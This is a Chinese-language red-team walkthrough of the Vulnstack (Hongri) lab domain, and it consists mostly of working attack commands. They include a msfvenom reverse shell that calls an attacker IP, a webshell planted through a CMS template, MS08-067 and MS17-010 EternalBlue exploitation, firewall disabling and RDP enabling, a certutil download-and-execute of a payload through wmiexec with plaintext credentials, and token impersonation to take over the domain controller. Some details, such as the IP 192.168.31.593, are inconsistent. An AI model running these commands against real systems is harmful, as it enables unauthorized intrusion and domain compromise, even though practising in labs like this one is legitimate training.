本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019
WEB服务器:windows7系统
外网网卡IP:192.168.31.59
内网网卡IP:192.168.52.143
域成员:windows server 2003系统
网卡IP:192.168.52.141
域控服务器:windows server 2008系统
网卡IP:192.168.52.138
攻击机器:kali 2020.2
kali IP:192.168.31.198
宿主机IP:windows 10系统
IP:192.168.31.105
安装CobaltStrike服务器
IP:192.168.31.198
netdiscover -i eth0 -r 192.168.1.0/24
发现IP 192.168.31.59,使用nmap探测端口开放情况(注意需要现在win7主机运行PhpStudy)
nmap -sC -v -n -sV -Pn -p 1-65535 192.168.31.59
发现80端口开启,访问页面http://192.168.31.59/
发现页面如下,存在大量信息泄露,收集有效信息。
使用御剑目录扫描工具开展漏洞扫描
发现网站备份文件和phpadmin后台管理界面
打开备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms
访问http://192.168.1.102/yxcms
进入网站首页
网站泄露后台地址和用户密码,且用户密码为弱口令
发现使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面
前台提交带有XSS代码的留言
后台审核成功弹出XSS弹窗
审核通过之后,前台同样成功弹窗
可通过该漏洞获取管理员cookie或者诱导管理员点击执行某恶意代码
在后台创建新模板模块创建内容为一句话的新模板
通过前面的备份文件可知文件保存的目录http://192.168.31.59/yxcms/protected/apps/default/view/default/hacker.php
在后台的碎片列表中进行删除操作,删除碎片ID可能存在盲注漏洞,使用dnslog获取SQL注入得到数据。
yxcms漏洞代码原理解析参考文章https://www.freebuf.com/column/162886.html
CS服务端都部署在192.168.31.198 kali主机上,客户端部署在windows10真机上
服务端 (这里地址变动了一下,后面改了)当成.198就行
nohup ./teamserver IP 密码 &
创建监听并生成powershell
然后拷贝到靶机启动
发现内网ip地址192.168.31.593和域god.org,查看域信息
net group /domain #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户
本机计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA
远程开启3389端口并关闭防火墙
注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
这个时候防火墙是开启,我们需要关闭防火墙,使用域用户god\administrator/hongrisec@2020成功登录这一台win7WEB主机
这里我们使用Kali的msf先反弹一个shell
#生成反弹shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=4444 -f raw > shell.php
#在本机中设置监听
msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.31.198
set lport 4444
run
然后使用蚁剑上传shell.php,并访问
成功获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.52.0/24网段
#查看路由信息
run get_local_subnets
#添加一条路由
run autoroute -s 192.168.52.0/24
查看路由信息
run autoroute -p
使用msf的socks4代理模块
use auxiliary/server/socks4a
set srvhost 192.168.31.198
run
文本编辑器修改etc/proxychains.conf
,在最后一行加上socks4代理服务器
vi /etc/proxychains.conf
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141
这里是SOCKS代理运行的端口,任意输入一个未占用的端口即可,或者默认CS会给出一个,我们直接点击开始即可
这里我选的11111端口
查看代理
kali 文本编辑器修改etc/proxychains.conf
,在最后一行加上socks4代理服务器
vi /etc/proxychains.conf
踩坑:这里代理ip是kali的地址,因为cs服务端是在kali 不是客户端 真机win10,虽然代理端口是在客户端win10加的
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141
由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听,两者区别如下:
msf
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run
nmap 扫描 域控 192.168.52.138 有ms17-010漏洞
msf5 auxiliary(server/socks4a) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.52.141 192.168.52.138
rhost => 192.168.52.141 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
我们同样可以使用MS17-010获取域服务器和域控服务器权限,这里我们直接攻击域控服务器
使用exploit/windows/smb/ms17_010_eternalblue
攻击流程如下:
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.52.138
run
获取失败
然后后面发现 没有设置 payload 重新尝试
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp 这里设置正向 攻击机主动通过代理连接域控 因为域控连接不了外网,不能使用reverse_tcp
set rhost 192.168.52.138
run
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/blind_tcp
[-] The value specified for payload is not valid.
msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/ms17_010_psexec) > run
无法有效获取会话
方法三 先使用ms17010命令执行 关闭防火墙,否则无法弹回shell
msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhost 192.168.31.138
rhost => 192.168.31.138
msf5 auxiliary(admin/smb/ms17_010_command) > set COMMAND netsh advfirewall set allprofiles state off
COMMAND => netsh advfirewall set allprofiles state off
msf5 auxiliary(admin/smb/ms17_010_command) > run
上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 991118Sy "whoami"
或者直接使用之前上传的Ladom工具执行ladom wmiexec 192.168.52.138 administrator 991118Sy whoami
同上面的过程一样,我们需要获取一个正向的msf连接,过程如下:
首先生成一个正向的exe文件放到win7的网站目录上
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.31.198 LPORT=6666 -f exe > 6666.exe
在win7上使用WMI执行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 991118Sy "certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe"
成功执行,这时候 我们已经 在138机器(DC—win2008)上开启6666端口监听
先在msf中开启代理 端口设置5001
use auxiliary/server/socks5
set srvport 5001
run
在开个窗口 kali代理
vi /etc/proxychains.conf
msf启动监听
msf5 auxiliary(server/socks5) > use exploit/multi/handler
[*] Using configured payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run
getsystem 直接提权
假冒令牌
use incognito
list_tokens -u
接下来在incognito中调用impersonate_token命令假冒root用户进行攻击
这里我们解释下(我们看到有俩种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登陆
还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量取决于meterpreter shell的访问级别)
知识点:在输入hostname\username中需要加俩个反斜杠(\\\)
运行成功后在meterpreter shell下运行shell命令并输入whoami ,就可以看见我们现在就是假冒的系统管理员了.
获取域控权限的方法还有好多,向pth攻击、横向哈希传递、redis,还有使用CVE-2018-8120来提权,票据加计划任务获取DC略